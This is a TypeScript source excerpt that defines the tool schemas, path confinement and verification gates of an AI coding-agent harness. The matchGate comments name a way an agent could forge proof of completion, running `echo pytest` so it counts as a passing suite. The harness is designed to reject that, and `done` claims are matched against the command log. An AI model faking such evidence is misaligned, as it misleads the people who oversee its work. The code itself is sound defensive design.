export const DEFAULT_TOOL_CONTEXT: Omit<ToolContext, "root"> = {
|
|
250
|
-
// Runner prefixes are resolved in command position so `python3 -m pytest`
|
|
251
|
-
// works without letting `echo pytest` forge a gate (D11 / M.2). make, just
|
|
252
|
-
// and task are not keys: their targets are matched against these keys
|
|
253
|
-
// (`make test check-shell`), because a bare `make` runs an unknown goal.
|
|
254
|
-
gates: { pytest: "pytest", tsc: "typecheck", cargo: "cargo", jest: "test", vitest: "test", go: "go",
|
|
255
|
-
test: "test", typecheck: "typecheck", check: "check", build: "build", lint: "lint", gate: "gate" },
|
|
256
|
-
// Five minutes covers typical compiles and installs; longer work asks for
|
|
257
|
-
// its own `timeout` up to the hour ceiling (omp uses the same 300 / 3600).
|
|
258
|
-
// Approved change from 120s (2026-09-28): 120s hard-killed real builds.
|
|
259
|
-
timeoutMs: 300_000,
|
|
260
|
-
maxTimeoutMs: 3_600_000,
|
|
261
|
-
maxOutputBytes: 30_000,
|
|
262
|
-
};
|
|
263
|
-
|
|
264
|
-
const sha256 = (s: string | Uint8Array) => createHash("sha256").update(s).digest("hex");
|
|
265
|
-
|
|
266
|
-
function failure(code: ToolDiagnostic["code"], content: string, facts: FailureFacts = NOT_STARTED,
|
|
267
|
-
extra: Pick<ToolDiagnostic, "recover" | "example"> = {}): ToolResult {
|
|
268
|
-
return { ok: false, content, diagnostic: failureDiagnostic(code, content, facts, extra) };
|
|
269
|
-
}
|
|
270
|
-
|
|
271
|
-
function caughtFailure(error: unknown, facts: FailureFacts, prefix = ""): ToolResult {
|
|
272
|
-
const diagnostic = failureFromError(error, facts);
|
|
273
|
-
return { ok: false, content: prefix + diagnostic.message, diagnostic };
|
|
274
|
-
}
|
|
275
|
-
|
|
276
|
-
/**
|
|
277
|
-
* The configured gate a command counts as, if any.
|
|
278
|
-
*
|
|
279
|
-
* Matched in COMMAND POSITION only: the first token, or a token immediately
|
|
280
|
-
* after a runner prefix. The suite that proves something is frequently not
|
|
281
|
-
* the first word -- `python3 -m pytest`, `npx vitest run`, `uv run pytest` --
|
|
282
|
-
* so first-token matching misses real gates. But matching any token anywhere
|
|
283
|
-
* would let `echo pytest` count as a passing test suite, which is precisely
|
|
284
|
-
* the fake evidence the rest of this design exists to reject. Each segment
|
|
285
|
-
* of an `&&` chain is matched the same way; see classifyGate.
|
|
286
|
-
*/
|
|
287
|
-
export function matchGate(ctx: ToolContext, command: string): string | undefined {
|
|
288
|
-
return classifyGate(ctx.gates, command);
|
|
289
|
-
}
|
|
290
|
-
|
|
291
|
-
/**
|
|
292
|
-
* Confines a model-supplied path to the workspace root.
|
|
293
|
-
*
|
|
294
|
-
* Schema validation is not path validation: the model's `path` is untrusted
|
|
295
|
-
* output, and `../` in it would otherwise reach anywhere on the filesystem.
|
|
296
|
-
*/
|
|
297
|
-
function confine(ctx: ToolContext, path: string): string | { error: string } {
|
|
298
|
-
const abs = isAbsolute(path) ? resolve(path) : resolve(ctx.root, path);
|
|
299
|
-
const boundary = ctx.pathRoot ?? ctx.root;
|
|
300
|
-
if (!within(boundary, abs)) {
|
|
301
|
-
return { error: boundary === ctx.root ? `path escapes the workspace root: ${path}` : `path escapes the path root ${boundary}: ${path}` };
|
|
302
|
-
}
|
|
303
|
-
return abs;
|
|
304
|
-
}
|
|
305
|
-
|
|
306
|
-
/**
|
|
307
|
-
* Assumed budget for listing the workspace after a failed lookup. The hint is
|
|
308
|
-
* a convenience on a failure path: past this the failure is returned without
|
|
309
|
-
* it rather than held up.
|
|
310
|
-
*/
|
|
311
|
-
const PATH_SUGGESTION_DEADLINE_MS = 2_000;
|
|
312
|
-
|
|
313
|
-
/** A not_found for a workspace path names the closest existing paths (missing-path-candidates card). */
|
|
314
|
-
async function withPathSuggestions(ctx: ToolContext, path: string, result: ToolResult): Promise<ToolResult> {
|
|
315
|
-
if (result.ok || result.diagnostic?.code !== "not_found") return result;
|
|
316
|
-
const abs = isAbsolute(path) ? resolve(path) : resolve(ctx.root, path);
|
|
317
|
-
if (!within(ctx.root, abs)) return result;
|
|
318
|
-
let listed: readonly string[];
|
|
319
|
-
try {
|
|
320
|
-
listed = (await buildFileIndex(ctx.root, { maxEntries: MAX_INDEX_ENTRIES, deadline: performance.now() + PATH_SUGGESTION_DEADLINE_MS,
|
|
321
|
-
...(ctx.signal ? { signal: ctx.signal } : {}) })).paths;
|
|
322
|
-
} catch { return result; } // No listing, no hint; the failure itself stands.
|
|
323
|
-
const near = nearestPaths(relative(ctx.root, abs).split(sep).join("/"), listed.map(item => item.split(sep).join("/")));
|
|
324
|
-
if (near.length === 0) return result;
|
|
325
|
-
const hint = "\nDid you mean one of these existing paths?\n" + near.map(item => ` ${item}`).join("\n");
|
|
326
|
-
return { ...result, content: result.content + hint, diagnostic: { ...result.diagnostic, message: result.diagnostic.message + hint } };
|
|
327
|
-
}
|
|
328
|
-
|
|
329
|
-
function within(base: string, abs: string): boolean {
|
|
330
|
-
const rel = relative(base, abs);
|
|
331
|
-
return !(rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel));
|
|
332
|
-
}
|
|
333
|
-
|
|
334
|
-
/** Search reports paths relative to, and applies ignores from, the root that holds the target. */
|
|
335
|
-
const searchRoot = (ctx: ToolContext, abs: string) => within(ctx.root, abs) ? ctx.root : ctx.pathRoot ?? ctx.root;
|
|
336
|
-
|
|
337
|
-
// ---------------------------------------------------------------------------
|
|
338
|
-
// Schemas
|
|
339
|
-
// ---------------------------------------------------------------------------
|
|
340
|
-
|
|
341
|
-
export interface ToolDefinition extends ToolSchema {
|
|
342
|
-
/** Q.18: opt-in builtins are absent from every default profile, including full. */
|
|
343
|
-
optional?: boolean;
|
|
344
|
-
/** Q.13: current adapter observation only; excluded from the frozen model schema. */
|
|
345
|
-
integrationHealth?: () => import("./integrations.ts").IntegrationObservation;
|
|
346
|
-
/** R10: optional companion advice is rendered only for the actual builtin capabilities. */
|
|
347
|
-
guidance?: readonly ToolGuidance[];
|
|
348
|
-
example?: { readonly [key: string]: JsonValue };
|
|
349
|
-
access: "read" | "write" | "shell" | "state";
|
|
350
|
-
execution: "parallel" | "exclusive";
|
|
351
|
-
branch: "read" | "write" | "none";
|
|
352
|
-
/** Accepted by admission but not advertised to the model: harness and test switches. */
|
|
353
|
-
hiddenInputs?: readonly string[];
|
|
354
|
-
prepareArguments?: (input: unknown) => unknown;
|
|
355
|
-
/** Protocol adapters with complete schemas own validation, rather than the builtin vocabulary. */
|
|
356
|
-
validateInput?: (input: unknown) => void;
|
|
357
|
-
run?: (ctx: ToolContext, input: Record<string, unknown>) => Promise<ToolResult>;
|
|
358
|
-
}
|
|
359
|
-
|
|
360
|
-
const commandArtifactsSchema = {
|
|
361
|
-
type: "object", required: ["paths"], additionalProperties: false,
|
|
362
|
-
description: "Optionally observe up to 16 workspace-relative ordinary output files before/after this command (512 MiB per phase). Records digests and input scope, not proof of production or runtime acceptance. Missing/unstable files remain unknown; the command exit is retained.",
|
|
363
|
-
properties: {
|
|
364
|
-
paths: { type: "array", minItems: 1, maxItems: MAX_COMMAND_ARTIFACTS, items: { type: "string" } },
|
|
365
|
-
output_roots: { type: "array", minItems: 1, maxItems: MAX_COMMAND_ARTIFACTS, items: { type: "string" },
|
|
366
|
-
description: "Nonoverlapping output directories/files excluded from the input fingerprint, each covering requested files. Defaults to paths. Never exclude source inputs." },
|
|
367
|
-
},
|
|
368
|
-
};
|
|
369
|
-
|
|
370
|
-
export const TOOL_DEFINITIONS: ToolDefinition[] = [
|
|
371
|
-
{
|
|
372
|
-
name: "query",
|
|
373
|
-
example: { paths: ["data.csv"], format: "csv", aggregate: [{ op: "count", as: "rows" }] },
|
|
374
|
-
access: "read", execution: "parallel", branch: "read", run: toolQuery,
|
|
375
|
-
description: "Compute over complete confined files (up to 32 MiB / 250000 records). Concatenates paths in order. CSV supports quoted records; JSON pointer selects nested data; JSONL parses each record; lines exposes line/text columns. Filter, group, aggregate and sort without shell or code execution. Returns full result with source hashes; large output has retrievable artifact pages. Numeric aggregates reject non-numeric values; empty/null values are excluded.",
|
|
376
|
-
input_schema: {
|
|
377
|
-
type: "object", required: ["paths", "format"], properties: {
|
|
378
|
-
paths: { type: "array", items: { type: "string" } },
|
|
379
|
-
format: { type: "string", enum: ["csv", "json", "jsonl", "lines"] },
|
|
380
|
-
pointer: { type: "string", description: "JSON pointer, e.g. /records" },
|
|
381
|
-
sql: { type: "string", maxLength: MAX_SQL_CHARS, description: SQL_QUERY_HELP + " Example: SELECT category, SUM(amount) AS total FROM source GROUP BY category ORDER BY total DESC. Mutually exclusive with JSON operators. Fields preserve case and use exact-key-first dotted lookup. Uses the JSON query kernel: numeric literals coerce nonempty numeric strings; ordering keeps string values lexical; COUNT(field) excludes null/missing/empty strings. SQL-style, not ANSI SQL." },
|
|
382
|
-
where: { type: "array", items: { type: "object", required: ["field", "op", "value"], properties: {
|
|
383
|
-
field: { type: "string" }, op: { type: "string", enum: ["eq", "ne", "contains", "gt", "gte", "lt", "lte"] }, value: {},
|
|
384
|
-
} } },
|
|
385
|
-
select: { type: "array", items: { type: "string" } },
|
|
386
|
-
group_by: { type: "array", items: { type: "string" } },
|
|
387
|
-
aggregate: { type: "array", items: { type: "object", required: ["op", "as"], properties: {
|
|
388
|
-
op: { type: "string", enum: ["count", "sum", "avg", "min", "max"] }, field: { type: "string" }, as: { type: "string" },
|
|
389
|
-
} } },
|
|
390
|
-
order_by: { type: "array", items: { type: "object", required: ["field"], properties: {
|
|
391
|
-
field: { type: "string" }, descending: { type: "boolean" },
|
|
392
|
-
} } },
|
|
393
|
-
},
|
|
394
|
-
},
|
|
395
|
-
},
|
|
396
|
-
{
|
|
397
|
-
name: "target",
|
|
398
|
-
guidance: [{ requires: ["write_stdin"], text: "Continue or stop the returned handle with write_stdin." }],
|
|
399
|
-
access: "shell", execution: "exclusive", branch: "write",
|
|
400
|
-
description: "Start or inspect a runtime declared by the trusted acceptance contract. Start requires a matching successful build command with the exact declared artifacts plan. Launches literal argv under this session's process owner; never adopts a PID or reuses an existing server. Inspect checks current build inputs, entry, executable and optional IPv4 loopback port ownership. Ready still requires user acceptance. No persistent service handoff.",
|
|
401
|
-
input_schema: { type: "object", required: ["action", "target"], properties: {
|
|
402
|
-
action: { type: "string", enum: ["start", "inspect"] }, target: { type: "string" },
|
|
403
|
-
session_id: { type: "integer", minimum: 1, description: "Inspect this exact previously returned handle; never adopts a process" },
|
|
404
|
-
yield_time_ms: { type: "integer", description: "Milliseconds to wait for launch; default 1000, distinct from the hard timeout; effective range 100-30000, values outside are clamped" },
|
|
405
|
-
timeout: { type: "integer", minimum: 1, maximum: 3600, description: "Hard process lifetime in seconds; defaults to the session command timeout" },
|
|
406
|
-
} },
|
|
407
|
-
},
|
|
408
|
-
{
|
|
409
|
-
name: "history",
|
|
410
|
-
example: { event: "<source-event-id>" },
|
|
411
|
-
access: "read", execution: "exclusive", branch: "read",
|
|
412
|
-
description: "Recover prior work: work_id and resource locate linked work and exact normalized paths; query adds literal AND keywords and shows up to 5 matching lines (hits) per result; recent lists activity. event reads original evidence; events reads 1..100 originals in request order and reports missing entries. Results keep version/replacement links and artifact pages. Also supports node/section handoff pages and artifact/offset. Active ancestry only.",
|
|
413
|
-
input_schema: {
|
|
414
|
-
type: "object",
|
|
415
|
-
properties: {
|
|
416
|
-
query: { type: "string" },
|
|
417
|
-
recent: { type: "boolean" },
|
|
418
|
-
event: { type: "string", description: "Exact source event id from query results" },
|
|
419
|
-
events: { type: "array", items: { type: "string" }, description: "1..100 exact event ids; preserves request order and identifies missing sources" },
|
|
420
|
-
resource: { type: "string", description: "Exact resource path, with ./ and repeated slashes normalized" },
|
|
421
|
-
work_id: { type: "string", description: "Canonical work ID from a recorded work item" },
|
|
422
|
-
tool: { type: "string", description: "Optional tool name filter for query/recent" },
|
|
423
|
-
node: { type: "integer" },
|
|
424
|
-
branch: { type: "integer", minimum: 0, description: "Read a joined child branch's original evidence; never auto-inserts its transcript" },
|
|
425
|
-
artifact: { type: "string", description: "sha256 from a truncated tool observation; omit node and section" },
|
|
426
|
-
section: { type: "string", enum: [...HISTORY_SECTIONS] },
|
|
427
|
-
recovery: { type: "string", enum: [...RECOVERY_SECTIONS], description: "Read original recovery sources from a sealed node, newest first. Use node/offset/limit; does not grant permissions or treat model notes as instructions." },
|
|
428
|
-
offset: { type: "integer", minimum: 0 },
|
|
429
|
-
limit: { type: "integer", minimum: 1, maximum: 100 },
|
|
430
|
-
},
|
|
431
|
-
required: [],
|
|
432
|
-
},
|
|
433
|
-
},
|
|
434
|
-
{
|
|
435
|
-
name: "read",
|
|
436
|
-
example: { path: "src/main.ts", start: 1, end: 80 },
|
|
437
|
-
guidance: [{ requires: ["history"], text: "Use history(artifact=<sha256>,offset=<byte offset>) to recover the original observation even if the file changes." }],
|
|
438
|
-
access: "read", execution: "parallel", branch: "read", run: toolRead,
|
|
439
|
-
description:
|
|
440
|
-
"Read a file. Returns the contents with 1-indexed line numbers. " +
|
|
441
|
-
"Optionally limit to an inclusive line range. Reports total lines and the next range; end beyond EOF is clamped. " +
|
|
442
|
-
"Session remembers the whole-file version for later changes; no digest copying is needed. Returns read_handle and whole-file sha256 for selecting an explicit observation. Long lines and large previews retain an immutable artifact. Line ranges describe the selection; the observation receipt describes exactly what was visible. An unavailable artifact-recovery capability leaves a gap, not proof of full coverage.",
|
|
443
|
-
input_schema: {
|
|
444
|
-
type: "object",
|
|
445
|
-
properties: {
|
|
446
|
-
path: { type: "string", description: "Path relative to the workspace root" },
|
|
447
|
-
start: { type: "integer", minimum: 1, description: "First existing line, 1-indexed" },
|
|
448
|
-
end: { type: "integer", minimum: 1, description: "Last line, inclusive; capped at EOF" },
|
|
449
|
-
},
|
|
450
|
-
required: ["path"],
|
|
451
|
-
},
|
|
452
|
-
},
|
|
453
|
-
{
|
|
454
|
-
name: "write",
|
|
455
|
-
access: "write", execution: "exclusive", branch: "write", run: toolWrite,
|
|
456
|
-
description: "Write a file, creating parent directories. Replaces existing content. Normally omit read_handle and expected_sha256: Session checks its latest observed version. Without a prior observation, omission has no stale-version protection. To select a specific observation instead, pass its exact version receipt. create_only requires absence. A conflict requires a fresh read. Identical content makes no change.",
|
|
457
|
-
input_schema: {
|
|
458
|
-
type: "object",
|
|
459
|
-
properties: {
|
|
460
|
-
path: { type: "string" },
|
|
461
|
-
content: { type: "string" },
|
|
462
|
-
read_handle: { type: "string", description: "Optional explicit descriptor SHA for this file, workspace and host; normally omit" },
|
|
463
|
-
expected_sha256: { type: "string", description: "Optional explicit whole-file raw-byte SHA-256; normally omit" },
|
|
464
|
-
create_only: { type: "boolean", description: "Require that the target does not exist; excludes read_handle and expected_sha256" },
|
|
465
|
-
},
|
|
466
|
-
required: ["path", "content"],
|
|
467
|
-
},
|
|
468
|
-
},
|
|
469
|
-
{
|
|
470
|
-
name: "edit",
|
|
471
|
-
example: { path: "src/main.ts", old_string: "const size = 1;", new_string: "const size = 2;" },
|
|
472
|
-
guidance: [{ requires: ["read"], text: "Use read to obtain current text before an edit; Session remembers its version automatically." }],
|
|
473
|
-
access: "write", execution: "exclusive", branch: "write", run: toolEdit,
|
|
474
|
-
description:
|
|
475
|
-
"Replace exact text in a file. Normally omit read_handle and expected_sha256: Session checks its latest observed version. " +
|
|
476
|
-
"Without a prior observation, omission has no stale-version protection. To select a specific observation instead, pass its exact version receipt. " +
|
|
477
|
-
"old_string must match once unless replace_all is set; copy it from observed file content, " +
|
|
478
|
-
"including indentation (line numbers are not part of the file). For several changes to one file pass edits[], " +
|
|
479
|
-
"each matched against the original; all apply or none do. If there is no exact match, a unique match that differs only in " +
|
|
480
|
-
"trailing whitespace, quote or dash style is applied and flagged fuzzy. A failure shows the closest text in the file. " +
|
|
481
|
-
"A conflict requires a fresh observation. A partial read handle checks the whole file version, not permission to edit unseen lines.",
|
|
482
|
-
input_schema: {
|
|
483
|
-
type: "object",
|
|
484
|
-
properties: {
|
|
485
|
-
path: { type: "string" },
|
|
486
|
-
old_string: { type: "string", minLength: 1, description: "Exact text to replace, including indentation" },
|
|
487
|
-
new_string: { type: "string" },
|
|
488
|
-
replace_all: { type: "boolean" },
|
|
489
|
-
edits: { type: "array", minItems: 1, description: "Several replacements instead of old_string/new_string", items: {
|
|
490
|
-
type: "object", required: ["old_string", "new_string"], properties: {
|
|
491
|
-
old_string: { type: "string", minLength: 1 }, new_string: { type: "string" }, replace_all: { type: "boolean" },
|
|
492
|
-
} } },
|
|
493
|
-
expected_sha256: { type: "string", description: "Optional explicit whole-file raw-byte SHA-256; normally omit" },
|
|
494
|
-
read_handle: { type: "string", description: "Optional explicit descriptor SHA for this file, workspace and host; normally omit" },
|
|
495
|
-
},
|
|
496
|
-
required: ["path"],
|
|
497
|
-
},
|
|
498
|
-
},
|
|
499
|
-
{
|
|
500
|
-
// The channel the handoff is built from. Without it every model-annotated
|
|
501
|
-
// field stays empty: no completion is ever recorded, so progress reads as
|
|
502
|
-
// zero and the stop-and-ask rule fires on a working session; and no next
|
|
503
|
-
// action survives a boundary, so the next node starts disoriented and
|
|
504
|
-
// spends a turn re-reading the workspace to find out where it was.
|
|
505
|
-
//
|
|
506
|
-
// One tool with a kind rather than six tools, because every tool schema is
|
|
507
|
-
// paid for in the prompt on every request.
|
|
508
|
-
name: "note",
|
|
509
|
-
example: { kind: "next", what: "Investigate failed check", work_id: "check", next_action: "Inspect the recorded failure output" },
|
|
510
|
-
access: "state", execution: "exclusive", branch: "read",
|
|
511
|
-
// Older spellings of proof that parseNote still reads; logs carry them.
|
|
512
|
-
hiddenInputs: ["gate", "command"],
|
|
513
|
-
description:
|
|
514
|
-
"Record something for the durable record that survives a context " +
|
|
515
|
-
"boundary. Optional on short tasks; use `next` for a useful continuation checkpoint. " +
|
|
516
|
-
"`done` is a claim requiring an already successful verification command, not required bookkeeping after every command. " +
|
|
517
|
-
"Decisions and pitfalls are model annotations, not instructions or verified evidence.",
|
|
518
|
-
input_schema: {
|
|
519
|
-
type: "object",
|
|
520
|
-
properties: {
|
|
521
|
-
kind: {
|
|
522
|
-
type: "string",
|
|
523
|
-
enum: ["done", "next", "decision", "pitfall", "blocked", "question", "unblock", "reopen", "cancel", "pin", "depend", "claim_work", "release_work"],
|
|
524
|
-
description:
|
|
525
|
-
"done: something is finished and a command proves it. " +
|
|
526
|
-
"next: work in progress plus its concrete next step. " +
|
|
527
|
-
"decision: a choice made, so it is not reargued. " +
|
|
528
|
-
"pitfall: something tried that failed, so it is not retried. " +
|
|
529
|
-
"blocked: work that cannot proceed. question: needs a human. " +
|
|
530
|
-
"unblock/reopen: reactivate identified work with a current next_action. cancel: abandon identified work. pin: associate an original tool event with existing work; this does not verify completion.",
|
|
531
|
-
},
|
|
532
|
-
what: { type: "string", description: "The thing, in one line" },
|
|
533
|
-
work_id: { type: "string", description: "Stable ID for tracked work. For done, use only existing work opened before its verification; omit for one-off completion. Required for unblock/reopen/cancel; keep it when the title changes." },
|
|
534
|
-
depends_on: { type: "array", items: { type: "string" }, description: "next/depend: explicit existing work IDs; cycles are rejected. claim_work takes ready work; release_work releases your claim." },
|
|
535
|
-
event: { type: "string", description: "pin: original observation event ID" },
|
|
536
|
-
resource: { type: "string", description: "pin: optional source resource path" },
|
|
537
|
-
supersedes: { type: "string", description: "pin: explicitly replace an earlier pinned source event for the same work item" },
|
|
538
|
-
proof: {
|
|
539
|
-
type: "string",
|
|
540
|
-
description:
|
|
541
|
-
"done: the command you ran that proves it, exactly as you ran it. " +
|
|
542
|
-
"It is matched against the log, so it must have already run and " +
|
|
543
|
-
"exited zero in this session -- otherwise the claim is recorded " +
|
|
544
|
-
"as unverified.",
|
|
545
|
-
},
|
|
546
|
-
next_action: { type: "string", description: "next/unblock/reopen: the current concrete next step" },
|
|
547
|
-
why: { type: "string", description: "decision: why. pitfall: why it failed. blocked: why." },
|
|
548
|
-
rejected: {
|
|
549
|
-
type: "array", items: { type: "string" },
|
|
550
|
-
description: "decision: alternatives considered and not taken",
|
|
551
|
-
},
|
|
552
|
-
},
|
|
553
|
-
required: ["kind", "what"],
|
|
554
|
-
},
|
|
555
|
-
},
|
|
556
|
-
{
|
|
557
|
-
/**
|
|
558
|
-
* Read-only exploration in a separate node.
|
|
559
|
-
*
|
|
560
|
-
* The value is isolation: the branch's own tool calls stay in its node
|
|
561
|
-
* and only a summary comes back, so a search that reads twenty files
|
|
562
|
-
* costs the parent one paragraph. That is also the limit of when it pays
|
|
563
|
-
* -- each branch carries about 20k tokens of fixed overhead, and a
|
|
564
|
-
* measured fan-out ran 2.6x the tokens of the sequential path at roughly
|
|
565
|
-
* five times the cost, while being slower. Sequential is usually right.
|
|
566
|
-
*/
|
|
567
|
-
name: "branch",
|
|
568
|
-
guidance: [{ requires: ["resolve"], text: "Use resolve status/wait/cancel to observe or join a background branch." }],
|
|
569
|
-
access: "state", execution: "exclusive", branch: "none",
|
|
570
|
-
description:
|
|
571
|
-
"Run a bounded subtask in a separate context and return its outcome and handoff reference. " +
|
|
572
|
-
"Read-only by default; writes=true uses an isolated git worktree. Include all required context in the prompt. " +
|
|
573
|
-
"Useful for independent exploration with much larger inputs than results; branch overhead can exceed doing small tasks directly. " +
|
|
574
|
-
"Adopt continues the selected branch and switches to its workspace; it does not merge edits into the original directory.",
|
|
575
|
-
input_schema: {
|
|
576
|
-
type: "object",
|
|
577
|
-
properties: {
|
|
578
|
-
purpose: { type: "string", description: "What this branch is for, in one line" },
|
|
579
|
-
background: { type: "boolean", description: "Return a reference while the child runs. Requires a branch-observation capability for later results; without it, prefer the default foreground call." },
|
|
580
|
-
prompt: {
|
|
581
|
-
type: "string",
|
|
582
|
-
description:
|
|
583
|
-
"The branch's entire instruction. It starts with no knowledge of " +
|
|
584
|
-
"this conversation, so include the file paths, error text and " +
|
|
585
|
-
"decisions it needs -- this string is the only channel.",
|
|
586
|
-
},
|
|
587
|
-
writes: {
|
|
588
|
-
type: "boolean",
|
|
589
|
-
description:
|
|
590
|
-
"Set only if the branch must change files. It then works in an " +
|
|
591
|
-
"isolated checkout; adopt switches to that checkout without merging into the parent. " +
|
|
592
|
-
"It requires a git repository. Leave it off " +
|
|
593
|
-
"for exploration, which is both cheaper and the common case.",
|
|
594
|
-
},
|
|
595
|
-
},
|
|
596
|
-
required: ["purpose", "prompt"],
|
|
597
|
-
},
|
|
598
|
-
},
|
|
599
|
-
{
|
|
600
|
-
name: "resolve",
|
|
601
|
-
access: "state", execution: "exclusive", branch: "none",
|
|
602
|
-
description:
|
|
603
|
-
"Wait, cancel, inspect, adopt or discard a branch. Every branch must be " +
|
|
604
|
-
"resolved; an unresolved one stays an open question.",
|
|
605
|
-
input_schema: {
|
|
606
|
-
type: "object",
|
|
607
|
-
properties: {
|
|
608
|
-
node: { type: "number", description: "The branch's node number" },
|
|
609
|
-
resolution: { type: "string", enum: ["adopt", "discard", "wait", "cancel", "status"] },
|
|
610
|
-
wait_ms: { type: "number", minimum: 0, maximum: 60000, description: "wait: bounded milliseconds, defaults to 10000" },
|
|
611
|
-
why: { type: "string", description: "discard: why it was rejected" },
|
|
612
|
-
},
|
|
613
|
-
required: ["node", "resolution"],
|
|
614
|
-
},
|
|
615
|
-
},
|
|
616
|
-
{
|
|
617
|
-
/**
|
|
618
|
-
* The model's way into an isolated checkout of this repository.
|
|
619
|
-
*
|
|
620
|
-
* Edits are confined to the session root, so isolation the model builds
|
|
621
|
-
* itself with `git worktree add` is unusable: outside the root is refused,
|
|
622
|
-
* and inside `.xeno` is session state. This creates the checkout where
|
|
623
|
-
* xeno keeps them and moves the root after the tool round, the way an
|
|
624
|
-
* adopted branch does; the cursor records the root, so resume stays there.
|
|
625
|
-
*/
|
|
626
|
-
name: "worktree",
|
|
627
|
-
access: "state", execution: "exclusive", branch: "none",
|
|
628
|
-
example: { action: "enter", name: "fix-parser" },
|
|
629
|
-
description:
|
|
630
|
-
"enter: create a git worktree of this repository on a new branch xeno/<name> from HEAD, kept under xeno's config directory, " +
|
|
631
|
-
"and move this session's root there after the current tool round, so later edits and commands run in the isolated checkout. " +
|
|
632
|
-
"Use it when the shared working tree has changes by others or must stay untouched. include_changes copies the current uncommitted files. " +
|
|
633
|
-
"exit: move the root back to the repository's main checkout. The worktree and its branch are kept; nothing is merged or deleted.",
|
|
634
|
-
input_schema: {
|
|
635
|
-
type: "object",
|
|
636
|
-
properties: {
|
|
637
|
-
action: { type: "string", enum: ["enter", "exit"] },
|
|
638
|
-
name: { type: "string", description: "enter: letters, digits, dot, dash or underscore; becomes the branch xeno/<name>" },
|
|
639
|
-
include_changes: { type: "boolean", description: "enter: start from the current uncommitted files instead of HEAD; default false" },
|
|
640
|
-
},
|
|
641
|
-
required: ["action"],
|
|
642
|
-
},
|
|
643
|
-
},
|
|
644
|
-
{
|
|
645
|
-
name: "bash",
|
|
646
|
-
example: { command: "bun test", workdir: ".", timeout: 300 },
|
|
647
|
-
guidance: [{ requires: ["exec_command", "write_stdin"], text: "For foreground servers or interactive input, use exec_command and observe the handle with write_stdin." }],
|
|
648
|
-
access: "shell", execution: "exclusive", branch: "write", run: toolBash,
|
|
649
|
-
prepareArguments: prepareArtifactArguments,
|
|
650
|
-
description:
|
|
651
|
-
"Run a command with bash in a fresh non-interactive shell (no TTY; cwd, variables and `cd` do not persist between calls). " +
|
|
652
|
-
"Returns a header `exit N · wall time` with any timeout, then stdout and stderr interleaved; long output keeps its head and tail. " +
|
|
653
|
-
"Default timeout 300 seconds; pass timeout for longer work. Timeout or cancellation cleans the process group. " +
|
|
654
|
-
"Normal shell exit can leave background children; this call exposes no handle for later control. Keep work in the foreground and do not start detached servers or watchers here.",
|
|
655
|
-
input_schema: {
|
|
656
|
-
type: "object",
|
|
657
|
-
properties: {
|
|
658
|
-
command: { type: "string" },
|
|
659
|
-
artifacts: commandArtifactsSchema,
|
|
660
|
-
timeout: { type: "integer", minimum: 1, maximum: 3600, description: "Seconds before the process group is killed; default 300" },
|
|
661
|
-
workdir: { type: "string", description: "Directory to run in, relative to the workspace root; default the root" },
|
|
662
|
-
},
|
|
663
|
-
required: ["command"],
|
|
664
|
-
},
|
|
665
|
-
},
|
|
666
|
-
{
|
|
667
|
-
name: "environment",
|
|
668
|
-
example: { program: "python3", probe: "python" },
|
|
669
|
-
access: "shell", execution: "exclusive", branch: "write", run: toolEnvironment,
|
|
670
|
-
description: "Probe one program in the same fresh login Bash as commands. Requires shell permission. Returns the resolved executable, reported version, source identity, observation time and raw output reference. probe=python uses isolated Python to inspect actual tarfile.extractall filter support. Every call probes again; old observations can expire or be invalidated. This describes this executor only, not an SSH target or another container. Functions and aliases require an exact executable path. Bounded to 5s and an output stop budget of 256 KiB; large or incomplete reports remain unconfirmed.",
|
|
671
|
-
hiddenInputs: ["command"],
|
|
672
|
-
prepareArguments(input) {
|
|
673
|
-
if (input === null || typeof input !== "object" || Array.isArray(input)) return input;
|
|
674
|
-
const args = input as Record<string, unknown>;
|
|
675
|
-
return { ...args, probe: args["probe"] ?? "version", command: environmentProbeCommand(args["program"], args["probe"] ?? "version") };
|
|
676
|
-
},
|
|
677
|
-
input_schema: { type: "object", required: ["program"], properties: {
|
|
678
|
-
program: { type: "string", description: "Executable name or literal path; never shell code. Prefer the exact interpreter used by the failing command." },
|
|
679
|
-
probe: { type: "string", enum: ["version", "python"], description: "version runs --version (default); python observes the actual interpreter API in isolated mode." },
|
|
680
|
-
workdir: { type: "string", description: "Directory to run in, relative to the workspace root; default the root" },
|
|
681
|
-
} },
|
|
682
|
-
},
|
|
683
|
-
{
|
|
684
|
-
name: "exec_command",
|
|
685
|
-
example: { cmd: "bun test", workdir: ".", yield_time_ms: 1000, timeout: 300 },
|
|
686
|
-
guidance: [{ requires: ["write_stdin"], text: "Continue the returned handle with write_stdin until exit; empty chars polls without replaying the command." }],
|
|
687
|
-
access: "shell", execution: "exclusive", branch: "write", run: toolExec,
|
|
688
|
-
prepareArguments: prepareArtifactArguments,
|
|
689
|
-
description:
|
|
690
|
-
"Start a command that may keep running: a server, a REPL, a long build, or a program that asks for input. " +
|
|
691
|
-
"Uses a fresh login shell; set workdir because cwd and variables do not persist. " +
|
|
692
|
-
"Waits up to yield_time_ms milliseconds; if it has exited, returns `exit N · wall time` and its output, otherwise " +
|
|
693
|
-
"`running · session <id>` with the output so far while the process keeps running. Running is not completion; if no handle-observation capability is available, report unfinished execution rather than rerunning it. " +
|
|
694
|
-
"tty=true runs it in a terminal for REPLs and prompts. Keep servers in the foreground: the owned group is cleaned when the command exits, times out, or its xeno session closes. " +
|
|
695
|
-
"A wait deadline only ends this call; timeout is the command's hard deadline. No persistent service handoff.",
|
|
696
|
-
input_schema: {
|
|
697
|
-
type: "object",
|
|
698
|
-
properties: {
|
|
699
|
-
cmd: { type: "string", description: "Shell command, run with bash -o pipefail -lc" },
|
|
700
|
-
artifacts: commandArtifactsSchema,
|
|
701
|
-
workdir: { type: "string", description: "Directory to run in; default the workspace root" },
|
|
702
|
-
tty: { type: "boolean", description: "Run in a pseudo-terminal; default false" },
|
|
703
|
-
yield_time_ms: { type: "integer", description: "Milliseconds to wait before returning; default 10000; effective range 100-30000, values outside are clamped" },
|
|
704
|
-
max_output_tokens: { type: "integer", minimum: 1, description: "Lower this call's inline output preview to about this many tokens; full output stays recoverable" },
|
|
705
|
-
timeout: { type: "integer", minimum: 1, maximum: 3600, description: "Seconds before the session is killed; default 300" },
|
|
706
|
-
},
|
|
707
|
-
required: ["cmd"],
|
|
708
|
-
},
|
|
709
|
-
},
|
|
710
|
-
{
|
|
711
|
-
name: "write_stdin",
|
|
712
|
-
example: { session_id: 1, chars: "", yield_time_ms: 1000 },
|
|
713
|
-
